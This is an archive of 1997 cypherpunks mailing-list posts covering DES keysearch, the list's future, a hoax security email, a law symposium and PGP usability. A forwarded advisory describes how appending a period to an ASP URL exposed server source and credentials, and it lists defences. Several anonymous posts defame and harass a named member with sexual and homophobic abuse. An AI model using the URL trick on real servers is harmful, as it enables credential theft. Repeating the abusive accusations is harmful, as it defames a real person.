Date: Thu, 20 Feb 1997 08:08:59 -0800 (PST)
To: Bill Stewart <scotta@sauge.com
Subject: Re: Cryptanalysis
Message-ID: <199702201608.IAA15665@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Wed, 19 Feb 1997 08:16:46 -0800
> From:          Bill Stewart <stewarts@ix.netcom.com>
> To:            Scott Auge <scotta@sauge.com>
> Cc:            cypherpunks@toad.com
> Subject:       Re: Cryptanalysis

> At 11:21 AM 2/15/97 -0500, you wrote:
> >Was wondering if anyone could help me with short explainations on the
> >cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
> >might get a better idea of what i'm trying to accomplish.
> 
> Cryptanalysis of DES is a 25-year ongoing academic exercise, with
> lots and lots of results.  It's easy to attack it in 2**55 tries,
> because of symmetry, but that's a very large number :-)

Many people have made statements to the effect that the complement
key property (if key K encrypts plaintext P to ciphertext C, then
K' encrypts P' to C', where A' is the one's complement of A') of
DES halves the work for a brute force attack, but these people don't
seem to have ever tried to actually use this property - it's 
effectively useless. You still need to run the DES rounds, and the
only win would be in the fact that preparing the key schedule of K'
from the key schedule of K used to be easier than preparing it from 
K' directly. This is no longer a win, since preparing key schedule 
for (K+1) from the key schedule of K is just as easy.

There's the possibility that I'm seriously dense (even Denning has
made statements about halving the effort), but I just don't see it.

[...] 
> The slow part of the attack _had_ been key scheduling, but recent work
> by Peter Trei and others shows that you can do key scheduling very
> efficiently for the brute-force keysearch problem by picking keys
> in Gray Code order (since a one-bit change in key causes a simple
> change in key-schedule - it's totally useless for normal encryption/
> decryption, but it's a big win for brute-force cracks.)

It's not totally useless - if you're going to have to prepare a lot 
of different key schedules (say, for many session keys under IPSEC),
it's still a win to OR together the key bit fanouts than to generate 
the key schedule by the traditional method. It trades a lot of 
upfront, one-time work for a later speedup. 
  
> There may be a distributed Internet crack using that approach, 
> though DES is still very inefficient on general-purpose computers and 
> works better on bit-twiddliing chips.

There's one slowly shaping up, organized by the same people who did 
the RC5-48 crack. I'm still rooting for an uncoordinated search, 
which is already underway.
 
Peter Trei
trei@process.com

PS: Is this the last message to cypherpunks actually about crypto?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Wed, 19 Feb 1997 18:56:11 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <199702192343.PAA02063@toad.com>
Message-ID: <199702200255.LAA07813@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


Dear Mr. Robert Hettinga,

This is Tsuyoshi Hayashi, one of subscribers of the
cypherpunks list, lives in Yokohama, Japan.

I heard today's your voice on the cypherpunks list.  I am
little sad.

I am almost ROM, read-only member...  Although I have been
hear for two and a half (wow..) years, I posted only three
(or four...) messages.  I am a bad boy.
Sorry. > all

Instead of it, I have gotten many many cripto-concerned
info (such as PGP) which are worth reading (though they
are very difficult for me, both technical and language ;-).
Today I know about cryptography a little.  I am working
nearby the cryptographic field in Japan.  So I DO want to
say THANKS to all subscribers of the list and the
owner-cypherpunks@toad.com, and the host machine named
toad.com [140.174.2.1].

On Wed, 19 Feb 1997 15:37:08 -0500, Robert Hettinga said:
 >Anyway, I've learned all these things from many cypherpunks, some still

Yes, me too!

 >Because of this list's effect on my life, I have been motivated to start
 >the Digital Commerce Society of Boston, to evangelize financial
[..]

I found your DCSB list out about a month ago.  This list
is also interesting for me.  Thanks.

 >Next week, I go to FC97 in Anguilla because of the things I've learned on
[..]

I did want to go to FC97, but there is a long distance
between Anguilla and Japan...  I hope you will post the
summary and/or topics of FC97 to the DCSB. :-)

 >[..] cypherpunks is not going to
 >die just because the address "cypherpunks@toad.com" ceases to exist. There

Yah!

 >So. In a very real sense, today on cypherpunks is like any other day in the
 >life of a creosote bush. It's a big desert, folks. We're the only ones who

# Sorry.  Although there are both "creosote" and "bush" in
# my English-Japanese dictionary, I could not understand
# the meaning of "creosote bush".  Please teach me it in
# other easy words if you have a time.  In English is OK.
# In Japanese is the best. ;-)

====

Mr. Bob Hettinga and all, doumo arigatou gozaimashita!

# And sorry for my poor English.

In a "Roman Holiday", Audrey Hepburn said,
	"By all means, Roman..."
Today I say, "By all means, Cypherpunks..."

Best,

 - Tsuyoshi Hayashi <take@barrier-free.co.jp>
 - PGP public key: http://www.barrier-free.co.jp/take/pgpkey
 - (CF 27 34 5B 46 FA 2A 12  D2 4C E3 F7 2A 45 E0 22)
 - Barrier Free, Inc. (established on 25 Jan 1996)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 09:29:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: FWD: (CHANGE: NUVUPSY - Against the therapeutic state)
Message-ID: <v03020901af323876a33c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Tell me what this has to do with cryptography, and I'll give you a nickle.

Or, maybe not...

;-).

Cheers,
Bob Hettinga

--- begin forwarded text


Date:         Thu, 20 Feb 1997 09:48:47 -0600
Reply-To:     "Dr. Jeffrey A. Schaler" <JSCHALE@american.edu>
Sender:       NEW-LIST - New List Announcements <NEW-LIST@LISTSERV.NODAK.EDU>
From:         "Dr. Jeffrey A. Schaler" <JSCHALE@american.edu>
Organization: The American University
Subject:      CHANGE: NUVUPSY - Against the therapeutic state
To:           NEW-LIST@LISTSERV.NODAK.EDU

NVVUPSY has moved to a new server and has a new E-mail address.

NUVUPSY on LISTSERV@MAELSTROM.STJOHNS.EDU

    "Although we may not know it, we have, in our day, witnessed the birth
    of the Therapeutic State.  This is perhaps the major implication of
    psychiatry as an institution of social control."  (Thomas Szasz, 1963)

    NUVUPSY is a forum to share points of view critical of the "therapeutic
    state" and institutional psychiatry, and those supportive of contractual
    psychotherapy and psychiatry.  We're interested in discussions concerning
    the relationship between liberty and responsibility and its implications
    for clinical, legal, and public policy.  The list will serve to promote
    alternative views to explaining unwanted behaviors.

    Sociological perspectives on the medicalization of deviant behavior are
    welcome.  Other topics for discussion include but are not limited to:
    The myth of addiction as a disease;  the ideology of biological
    determinism;  the obsolescence of the schizophrenia hypothesis;  coerced
    treatment for addiction and First Amendment rights;  criticism
    of psychiatric drug prescriptions;  etc.

    NUVUPSY Board of Advisors include:  Bruce K. Alexander, Phil Brown,
    Robert C. Carson, David J. Essex, Louis B. Fierman, Robert E. Haskell,
    Reid Klion, James C. Mancuso, Roberta Russell, Theodore R. Sarbin,
    Jeffrey A. Schaler, and Richard E. Vatz.

    Archives of NUVUPSY mail items are kept in monthly files.  You may obtain
    a list of files in the archives by sending the command

      INDEX NUVUPSY

    in the BODY of e-mail to LISTSERV@MAELSTROM.STJOHNS.EDU

    (NUVU as in "new view", V=vee)

    To subscribe, send the following command in the BODY of mail to
    LISTSERV@MAELSTROM.STJOHNS.EDU

       SUBSCRIBE NUVUPSY yourfirstname yourlastname

    Owner:  Jeffrey A. Schaler, Ph.D.  jschale@american.edu
            Martin W. Smith            mws@metis.no
            NUVUPSY List Coordinators

                                 -------
Use this information at your own risk.  For more information and disclaimer
send E-mail to LISTSERV@LISTSERV.NODAK.EDU with the command  INFO NEW-LIST
in the body.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eiwasaki@gol.com (Ellen Iwasaki)
Date: Wed, 19 Feb 1997 19:41:19 -0800 (PST)
To: www-security@ns1.rutgers.edu
Subject: security breached by NaughtyRobot
Message-ID: <199702200340.MAA04535@gol1.gol.com>
MIME-Version: 1.0
Content-Type: text/plain


HELP! Can anyone tell me what this message is that I received in my mail
today? Is it real? Should I do as it suggests? I have used the Internet
once to purchase some books? Was my credit card number stolen in the
process? How did this happen and how will it affect me? What should I do?
PLEASE ADVISE ASAP! Thank you for your help
Ellen Iwasaki
Kumamoto, Japan

> From: eiwasaki@gol.com
> Date: Wed, 19 Feb 97 02:27 CST
> Apparently-From: eiwasaki@gol.com
> Apparently-To: eiwasaki@gol.com
> Reply-to: eiwasaki@gol.com
> Registered-mail-reply-requested-by: eiwasaki@gol.com
> Sensitivity: PERSONAL-CONFIDENTIAL
> Precedence: EMERGENCY
> Priority: URGENT
> Comment: Authenticated sender is <eiwasaki@gol.com>
> Organization: NaughtyRobot
> Subject: security breached by NaughtyRobot
>
> This message was sent to you by NaughtyRobot, an Internet spider that
> crawls into your server through a tiny hole in the World Wide Web.
>
> NaughtyRobot exploits a security bug in HTTP and has visited your host
> system to collect personal, private, and sensitive information.
>
> It has captured your Email and physical addresses, as well as your phone
> and credit card numbers.  To protect yourself against the misuse of this
> information, do the following:
>
>         1. alert your server SysOp,
>         2. contact your local police,
>         3. disconnect your telephone, and
>         4. report your credit cards as lost.
>
> Act at once.  Remember: only YOU can prevent DATA fires.
>
> This has been a public service announcement from the makers of
> NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
>



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 20 Feb 1997 10:24:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP (fwd)
Message-ID: <Pine.SUN.3.91.970220132719.13984K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Thu, 20 Feb 1997 11:39:01 -0600
From: Mark Joseph Edwards <mark@ntshop.net>
To: "'bugtraq@netspace.org'" <bugtraq@netspace.org>
Cc: "'ntbugtraq@rc.on.ca'" <ntbugtraq@rc.on.ca>,
    "'ntsecurity@iss.net'" <ntsecurity@iss.net>
Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP


		MICROSOFT IIS AND ACTIVE SERVER ADVISORY
		 Security Hole in ASP Discovered in Microsoft ASP
				February 20, 1997

DESCRIPTION
A serious security hole was found in Microsoft's Active Server Pages (ASP) by Juan T. Llibre <j.llibre@codetel.net.do>. This hole allows Web clients to download unprocessed ASP files potentially exposing user ids and passwords. ASP files are the common file type used by Microsoft's IIS and Active Server to perform server-side processing.

HOW IT WORKS
To download an unprocessed ASP file, simply append a period to the asp URL. For example: http://www.domain1.com/default.asp becomes http://www.domain1.com/default.asp. With the period appendage, Internet Information Server (IIS) will send the unprocessed ASP file to the Web client, wherein the source to the file can be examined at will. If the source includes any security parameter designed to allow access to other system processes, such as an SQL  database, they will be revealed.

DEFENSE
There are two known ways to stop this behavior: 

1.Turn read permissions off of the ASP directory in the Internet Service Manager. This may not be a practical solution since many sites mix ASP and HTML files. If your site mixes these files together in the same directories, you may want to segregate them immediately. Now and in the future, treat your ASP files like any other Web based executable, and keep them in separate directories wherein permissions can be adjusted accordingly.

2.Download this filter written by Christoph Wille Christoph.Wille@unileoben.ac.at which can be located at http://www.ntshop.net/security/tools/sechole.zip or from http://www.genusa.com/asp/patch/sechole.zip

END OF ADVISORY





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 20 Feb 1997 11:18:31 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <199702200214.SAA04018@toad.com>
Message-ID: <199702201937.NAA01962@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:
> is stil bogged down, for reasons I have to believe have to do with
> pressures from somewhere, else why would e-mail packages not make PGP
> support painless?)

	There are several packages that do provide at least some level 
of PGP integration, but I have 2 very good reasons:

	1) The "market place" isn't willing to pay for the additional work.

	2) It isn't "sexy" enough to cause a programmer to want to add it 
to a mailer just for fun. 

	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Laffra <laffra@ms.com>
Date: Thu, 20 Feb 1997 10:47:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Translating C++ to Java
Message-ID: <199702201846.NAA16032@sar6.morgan.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I hope the following information is of interest, otherwise please ignore...

In August 1996 my book "Advanced Java" was published, and it still is one
of the only books that is not only absolutely emphatic about the language,
but in addition has a critical, honest, and objective look at Java.  I am
very happy with the reception of the book -- it is one of the Java
best-sellers, especially considering the small intended target buyers
segment (the more advanced Java programmer).  Enclosed with the book is
C2J, an automatic C++ to Java translator, written in C++ and requiring
specific UNIX tools.  My version of C2J was not very useful for a lot of
people because of the requirements on the environment.

I challenged the online community to look at the software and come up with
a full Java version. I am happy to report that has happened. A student at
PACE University in New York, Ilya Tilevich, took the challenge and did a
really nice job in making C2J a full Java program.

For more information, check out my personal home page at America Online:

	http://members.aol.com/laffra

and download the zip file containing the Java class files and source code.

I hope this information is useful for you,
Chris Laffra.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 20 Feb 1997 16:58:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA
Message-ID: <199702202219.OAA24762@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


A warning label ought to be tattooed on Tim C[retin] May's head, 
saying `Warning: shit content under pressure'.

              /\_/\
             ( x x )
         -oo0-(o o)-0oo- Tim C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 20 Feb 1997 16:48:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] RSA
Message-ID: <199702202230.OAA26215@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy `C' May was born when his mother was on the toilet.

        /\ o-/\  Timothy `C' May
       ///\|/\\\
      /   /|\   \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 11:37:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <199702200214.SAA04018@toad.com>
Message-ID: <v0302090daf3258376fe3@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:37 pm -0500 on 2/20/97, snow wrote:


> > At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:
> > is stil bogged down, for reasons I have to believe have to do with
> > pressures from somewhere, else why would e-mail packages not make PGP
> > support painless?)

Uh, that wasn't me.

Sorry...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Date: Thu, 20 Feb 1997 11:43:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <199702201456.GAA14462@toad.com>
Message-ID: <Pine.A32.3.91.970220144146.133666A-100000@gnu.uvm.edu>
MIME-Version: 1.0
Content-Type: text/plain



For those of you who haven't seen this... "fake-web" document. A way 
hackers may easily get around things like SSL.

http://www.cs.princeton.edu/sip/pub/spoofingDocumentWithLongUntypeableName.html


*********************************
Scott A. Hommel
President,
New Paradigm Design, Inc.

PGP key available at:
http://paradigm-2.com/scott.html

*********************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 20 Feb 1997 17:18:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Elliptic curves
Message-ID: <199702202312.PAA01838@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


May Tim Mayhem's forgeries get stuck up his ass so he'll 
have to shit through his filthy mouth for the rest of its 
miserable life.

  o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
 /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim Mayhem
 / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 20 Feb 1997 17:33:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Accounts payable
Message-ID: <199702210000.QAA07898@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[ocksucker] Mayo is not only as queer as a three 
dollar bill, but he is also into having sex with children.

        /'''
        c-OO Timmy C[ocksucker] Mayo
           \
          -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 13:03:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: crime and technology
Message-ID: <01IFN7Y21CC08Y51HA@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 20-FEB-1997 07:55:48.58
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 19 Feb 1997 18:51:34 -0500
From: Belinda Juran <juran@law.harvard.edu>

[...]

                    Harvard Journal of Law & Technology

                        Symposium:  Crime & Technology
Law Enforcement Technology  - Cybercrime - Electronic Commerce

                                 Saturday, March 15, 1997
Ames Courtroom, Austin Hall at Harvard Law School in Cambridge, MA.
                                   Registration:  9:30 A.M.

Tentative Schedule, including Confirmed and Tentative Panelists:
9:30-9:45   Registration & coffee
9:45-10      Introduction
10-12         Panel:  "Search, Seizure, and Surveillance Technology"
                  (searching of technology & the technology of searching)
                  Moderator:  Stephen Heymann
                     assistant United States attorney in Boston who teaches at
                     HLS and was involved with the first wiretap laid on the
                     Internet.
                  Panelists:
                  o  Tony West
                      AUSA in San Jose who helped investigate the creator 
                      of PGP and is now prosecuting the "Orchid Club" 
                      cases against an international child pornography 
                      ring that distributed through the Internet.
                 o  Chris Slobogin
                     UFlorida professor who is the reporter for the
                     ABA Task Force on Technology and Law Enforcement
                 o  Andy Good
                     a Boston defense attorney who has defended computer
                     searches including US v. Steve Jackson Games
                 o  Marc Goodman
                     a Los Angeles Police Department sargeant who has
                     investigated computer crimes and has pursued the
                     impact of technology on police departments during 
                     his year at the Kennedy School of Government
                o  Elizabeth Marsh
                    a Quinnipiac Law School professor who has done work
                    on encryption and the danger of the federal government's
                    "key" proposal
12             Lunch:  box lunch provided
12:45-1:15 Keynote:  invited (tentative) keynote speaker:
                  Bob Kahn
                      Corporation for National Research Initiatives
1:15-3:15   Panel:  "The Risks of Electronic Banking &Commerce"
                  (content security & payment/banking security)
                   Moderator:  Charles Nesson
                      professor at Harvard Law School specializing in 
                      legal implications of digital technologies
                  o  Marc Rotenberg
                      EPIC (Electronic Privacy & Information Center)
                  o  Kelly Frey
                      Copyright Clearance Center
                  o  David Byer
                      partner, Testa Hurwitz & Thibeault, Boston, MA
                  o  Philip Bane
                      counsel, First Virtual
3:15 end

Admission to the Symposium is free to all Harvard affiliates (with valid
Harvard ID), $15 for all other students, $30 for public sector
professionals, and $100 for private sector professionals.

ADVANCE REGISTRATION IS STRONGLY SUGGESTED.

- ------------------------Registration Form-------------------------------

Harvard Journal of Law & Technology Symposium on Crime & Technology;
March 15, 1997;
registration begins at 9:30 a.m.; program begins at 10:00 a.m.
Ames Courtroom, Austin Hall, Harvard Law School, Cambridge MA

     Name:____________________________________________________

     Affiliation _________________________________________________

     Address __________________________________________________

             __________________________________________________

     Telephone:________________________________________________

     Email:____________________________________________________

     Check One:
                  _____ Private Sector Professional: $100
                  _____ Public Sector Professional:   $ 30
                  _____ Student:                      $ 15
                  _____ Harvard student (valid ID must be presented 
                                 at the door):  free

Make checks payable to:  Harvard Journal of Law & Technology

Mail the completed registration form with check to:
              Symposium Registration
              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138

- ------------------------------Cut Here--------------------------------------

The Symposium is sponsored by Hale and Dorr L.L.P., Boston, MA.

The Spring Issue of the Journal will include articles covering the broad
topic of "Crime and Technology."

For additional information about the Symposium, contact
Symposium Editor Belinda Juran, by e-mail at juran@law.harvard.edu, or by
phone at the Harvard Journal of Law & Technology offices at
617-495-3606 or 617-493-7949.

ABOUT THE JOURNAL:
The Harvard Journal of Law & Technology is a leading scholarly
publication for articles addressing the many diverse interstices of
science and technology with law and society.  We have published articles
by law professors, practitioners, business leaders, and politicians on
varied topics including biotechnology, computers, international trade,
technology transfer, intellectual property, medical technologies, and
telecommunications. These and other subjects are some of the most
exciting and rapidly developing areas of the law, and we believe that the
dialogue provided by the Harvard Journal of Law & Technology will help to
shape the future of this important field.  We welcome submissions of
articles, case comments, or book reviews addressing the relationship of
law and technology.

SUBSCRIPTION INFORMATION:
For additional information, please contact the Journal at the address
below.  The Journal publishes three issues each year. To subscribe to the
Journal's upcoming issues in Volume 10,  please send the Journal a check
for U.S. $45.00 (foreign orders $50.00) to the address below.  To obtain
the issue discussed above or back issues, please send the Journal a check
for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2").

*************************************************************************

              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138

              Telephone: (617) 495-3606
              Fax:       (617) 495-8828

              E-Mail:  jolt@law.harvard.edu
              WWW:  http://www.law.harvard.edu/home/jolt/

*************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 13:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
Message-ID: <01IFN8OP62KK8Y51HA@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From: Dale Thorn <dthorn@gte.net>

>Greg Broiles wrote:
>> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:
>> >It's good if you don't read the L.A. Times.  One of their lead editor-
>> >ializers (whores), a professor at USC law school named Erwin Chemerinsky,
>> >writes in relation to this subject "The federal government is an inde-
>> >pendent sovereign that cannot have its powers diminished by a state
>> >government's actions." (exact quote, 2/7/97).  Either that's a load of
>> >BS doubletalk, or it's one of the more fascistic commentaries from the
>> >Times, which is usually bad enough.

>> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
>> concise summary of at least the last 70 years of double jeopardy
>> jurisprudence. The only thing that's unusual about the use of the "dual
>> sovereign" doctrine against the cops who beat King was that it's usually
>> used against ordinary citizens, not cops. Do you suppose it's possible

>I understood clearly the (supposed) intent of the feds in retrying
>the Whites in the South who were beating up on Blacks and getting
>off with White juries - I just believe they would have served the
>people better by declaring mistrials or something instead of using
>the "dual sovereignty" BS, since a study of the Constitution and
>its preparatory papers shows the fathers clearly would have balked
>at this.

	I had understood the basic reasons for the double jeopardy
limit to be two: A. to prevent government from tormenting innocent
individuals with repeated trials; and B. to prevent convictions of
innocents by simple repeated trials until a jury made a mistake. The
latter can be analogized in statistics to the consideration that a
test with a p value of .05 will turn out false positive results 1 time in
20 by the nature of it; thus, if you look at two different studies/trials
with an independent (an oversimplifying assumption for trials, admittedly)
5% chance of an incorrect conviction, the chance is 1-((19/20)(19/20))
or 9.75% for _either_ of them turning out a false positive instead of a
5% chance. In a system partially based on the principle that it's better
to let the guilty go free than to punish the innocent, this result is
not acceptable. While the founding fathers probably didn't realize the
mathematics behind the second, I suspect that they had some intuition
of its nature.
	I can see an argument, however, for using it in the case of
state employees, particularly police - the state judicial/prosecutorial
system can hardly be said not to be biased in favor of them. A better
solution, however, would be to simply do the trial in a federal court
to begin with. (Having trials of federal employees in the courts of the
state of their alleged victims would be a correspondingly good idea,
although multiple possible states for this could be a problem.)
	I'd appreciate comments from persons with more legal knowledge
than I have; I am simply going by logic here.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Thu, 20 Feb 1997 07:43:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <v0300780caf3130183f0f@[207.167.93.63]>
Message-ID: <199702201544.QAA07860@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym 
 "Tim May <tcmay@got.net>" typed:
>
> (Getting PGP integrated into mailers
> is stil bogged down, for reasons I have to believe have to do with
> pressures from somewhere, else why would e-mail packages not make PGP
> support painless?)


Because PGP's user interface is yucky and its programmer
interface is even worse.


Amazing how people don't realize how much certain important 
things depend on such a (deceptively) simple concept as having
a nice user interface and a nice programmer interface.  In 
contradiction of certain cypherpunk urban legends, I suspect
that such pedestrian details are far, far more important to 
the course of history than the clumsy and feckless 
machinations of government agencies.


But for the good news, see the quote from Jim Bidzos in my
".plan".


Regards,

Zooko, Journeyman Interface Designer

NOT speaking for any organizations or persons whose names 
might appear in the headers of this message, or who might 
occasionally toss me some spare change in return for my 
brilliant software design work.

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMwxxPkjbHy8sKZitAQFkwwL+Pmpv70F4mN+G58gnZj0a8nH6omppzucN
CxMSw2iFc/rBcCQGoNO1Bx42TEShypN4HyBqrR49NEkJhihZ4dSfQB2FGsTZyFE0
P9X2/Oy10AwqC9nu90n/Ct5Z+63wFB6P
=CCQx
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 20 Feb 1997 10:42:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Why Digital Video Disks are late to market
In-Reply-To: <199702182227.OAA12266@toad.com>
Message-ID: <199702201652.RAA26679@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> ... there apparently has been some speculation among the U.S. PC community
> that Matsushita may be stonewalling on the software-licensing issue so that
> it can establish its hardware-based decryption solution in the marketplace.

The day it gets published in software is the day someone runs a
disassembler on it.  That's all there is to it.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Thu, 20 Feb 1997 15:49:51 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: The List
Message-ID: <330CE329.37E8@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey all,

As a somewhat quiet observer and student of the Cypherpunk list over the
last two years, I have been able to keep in touch with an unimaginable
amount of issues, info, concerns, and news; and the knowledge I have
gained from this list is more than I can say in words. I have sifted
through the noise and can say the info gleaned was indeed worth the
effort. I am sorry to see the list in its present state, ready to move
on to better? things. I hope I speak for many of you, like me who
listened learned asked and was answered, that the Cypherpunk list must
continue and that each of us, active and passive member has a
responsibility to ourselves and each other to continue bring the issues
to light , fighting the good fight against the gov't's lousy
regulations, and bringing encryption to the masses. I have been working
with a security software development company for 2 and half years and
have been working on this goal: bringing encryption to the masses. The
information both directly (actual posts relating to Crypto) and
indirectly (Rants and flames on Snakeoil products) gained has helped
guide me and my colleagues closer and closer to our goal. For that and
more I thank all of you. We are very close to releasing a beta version
of our product to the Internet community to use and abuse. We have
worked closely with Bruce Schnieir and Counterpane to insure good
implementation of our security measures. I hope our product meets with
your standards and approval but more importantly I hope that you (the
collective you) can be instrumental in helping us to accomplish our
goal. I will post to this list (assuming it is still amongst the living)
very shortly a more detailed description of the product and where a beta
can be gotten. I am sorry for "whetting the appetites" but I figured
since I was E-mailing a post relating to the state of list, I include a
bit about how the list has positively effected me and has contributed to
society.

Steveo (privsoft@ix.netcom.com)
--Privacy Software Division--
Syntel Technologies, Inc.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Feb 1997 19:57:07 -0800 (PST)
To: eiwasaki@gol.com (Ellen Iwasaki)
Subject: Re: security breached by NaughtyRobot
In-Reply-To: <199702200340.MAA04535@gol1.gol.com>
Message-ID: <3.0.1.32.19970220185545.00628978@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Don't panic.  It's just a hoax.  Lots of other people have received it.
The hoaxer got your address somewhere off the Internet (maybe Usenet,
maybe your web page) and sent you the email. 


At 12:40 PM 2/20/97 +0900, Ellen Iwasaki wrote:
